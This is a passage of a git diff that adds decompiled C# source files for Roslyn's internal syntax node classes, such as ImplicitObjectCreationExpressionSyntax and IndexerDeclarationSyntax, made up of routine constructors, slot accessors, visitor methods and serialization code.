DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ImplicitElementAccessSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ImplicitElementAccessSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)argumentList; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitElementAccessSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitElementAccess(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitElementAccess(this); + } + + public ImplicitElementAccessSyntax Update(BracketedArgumentListSyntax argumentList) + { + if (argumentList != ArgumentList) + { + ImplicitElementAccessSyntax implicitElementAccessSyntax = SyntaxFactory.ImplicitElementAccess(argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + implicitElementAccessSyntax = GreenNodeExtensions.WithDiagnosticsGreen(implicitElementAccessSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + implicitElementAccessSyntax = GreenNodeExtensions.WithAnnotationsGreen(implicitElementAccessSyntax, (IEnumerable)annotations); + } + return implicitElementAccessSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ImplicitElementAccessSyntax(base.Kind, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ImplicitElementAccessSyntax(base.Kind, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ImplicitElementAccessSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + BracketedArgumentListSyntax bracketedArgumentListSyntax = (BracketedArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bracketedArgumentListSyntax); + argumentList = bracketedArgumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static ImplicitElementAccessSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ImplicitElementAccessSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ImplicitElementAccessSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..a2e4b35 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitObjectCreationExpressionSyntax.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ImplicitObjectCreationExpressionSyntax : BaseObjectCreationExpressionSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly ArgumentListSyntax argumentList; + + internal readonly InitializerExpressionSyntax? initializer; + + public override SyntaxToken NewKeyword => newKeyword; + + public override ArgumentListSyntax ArgumentList => argumentList; + + public override InitializerExpressionSyntax? Initializer => initializer; + + internal ImplicitObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ImplicitObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ImplicitObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => argumentList, + 2 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitObjectCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitObjectCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitObjectCreationExpression(this); + } + + public ImplicitObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax initializer) + { + if (newKeyword != NewKeyword || argumentList != ArgumentList || initializer != Initializer) + { + ImplicitObjectCreationExpressionSyntax implicitObjectCreationExpressionSyntax = SyntaxFactory.ImplicitObjectCreationExpression(newKeyword, argumentList, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + implicitObjectCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(implicitObjectCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + implicitObjectCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(implicitObjectCreationExpressionSyntax, (IEnumerable)annotations); + } + return implicitObjectCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ImplicitObjectCreationExpressionSyntax(base.Kind, newKeyword, argumentList, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ImplicitObjectCreationExpressionSyntax(base.Kind, newKeyword, argumentList, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ImplicitObjectCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentListSyntax); + argumentList = argumentListSyntax; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + if (initializerExpressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)argumentList); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static ImplicitObjectCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ImplicitObjectCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ImplicitObjectCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..9f524f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ImplicitStackAllocArrayCreationExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ImplicitStackAllocArrayCreationExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken stackAllocKeyword; + + internal readonly SyntaxToken openBracketToken; + + internal readonly SyntaxToken closeBracketToken; + + internal readonly InitializerExpressionSyntax initializer; + + public SyntaxToken StackAllocKeyword => stackAllocKeyword; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SyntaxToken CloseBracketToken => closeBracketToken; + + public InitializerExpressionSyntax Initializer => initializer; + + internal ImplicitStackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal ImplicitStackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal ImplicitStackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => stackAllocKeyword, + 1 => openBracketToken, + 2 => closeBracketToken, + 3 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitStackAllocArrayCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitStackAllocArrayCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitStackAllocArrayCreationExpression(this); + } + + public ImplicitStackAllocArrayCreationExpressionSyntax Update(SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + if (stackAllocKeyword != StackAllocKeyword || openBracketToken != OpenBracketToken || closeBracketToken != CloseBracketToken || initializer != Initializer) + { + ImplicitStackAllocArrayCreationExpressionSyntax implicitStackAllocArrayCreationExpressionSyntax = SyntaxFactory.ImplicitStackAllocArrayCreationExpression(stackAllocKeyword, openBracketToken, closeBracketToken, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + implicitStackAllocArrayCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(implicitStackAllocArrayCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + implicitStackAllocArrayCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(implicitStackAllocArrayCreationExpressionSyntax, (IEnumerable)annotations); + } + return implicitStackAllocArrayCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ImplicitStackAllocArrayCreationExpressionSyntax(base.Kind, stackAllocKeyword, openBracketToken, closeBracketToken, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ImplicitStackAllocArrayCreationExpressionSyntax(base.Kind, stackAllocKeyword, openBracketToken, closeBracketToken, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ImplicitStackAllocArrayCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + stackAllocKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openBracketToken = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeBracketToken = syntaxToken3; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)stackAllocKeyword); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static ImplicitStackAllocArrayCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ImplicitStackAllocArrayCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ImplicitStackAllocArrayCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IncompleteMemberSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IncompleteMemberSyntax.cs new file mode 100644 index 0000000..31ab5fd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IncompleteMemberSyntax.cs @@ -0,0 +1,188 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IncompleteMemberSyntax : MemberDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax? type; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public TypeSyntax? Type => type; + + internal IncompleteMemberSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + } + + internal IncompleteMemberSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + } + + internal IncompleteMemberSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => type, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IncompleteMemberSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIncompleteMember(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIncompleteMember(this); + } + + public IncompleteMemberSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type) + { + IncompleteMemberSyntax incompleteMemberSyntax = SyntaxFactory.IncompleteMember(attributeLists, modifiers, type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + incompleteMemberSyntax = GreenNodeExtensions.WithDiagnosticsGreen(incompleteMemberSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + incompleteMemberSyntax = GreenNodeExtensions.WithAnnotationsGreen(incompleteMemberSyntax, (IEnumerable)annotations); + } + return incompleteMemberSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IncompleteMemberSyntax(base.Kind, attributeLists, modifiers, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IncompleteMemberSyntax(base.Kind, attributeLists, modifiers, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IncompleteMemberSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)type); + } + + static IncompleteMemberSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IncompleteMemberSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IncompleteMemberSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerDeclarationSyntax.cs new file mode 100644 index 0000000..0a0d5aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerDeclarationSyntax.cs @@ -0,0 +1,314 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IndexerDeclarationSyntax : BasePropertyDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax type; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken thisKeyword; + + internal readonly BracketedParameterListSyntax parameterList; + + internal readonly AccessorListSyntax? accessorList; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override TypeSyntax Type => type; + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken ThisKeyword => thisKeyword; + + public BracketedParameterListSyntax ParameterList => parameterList; + + public override AccessorListSyntax? AccessorList => accessorList; + + public ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal IndexerDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal IndexerDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal IndexerDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => type, + 3 => explicitInterfaceSpecifier, + 4 => thisKeyword, + 5 => parameterList, + 6 => 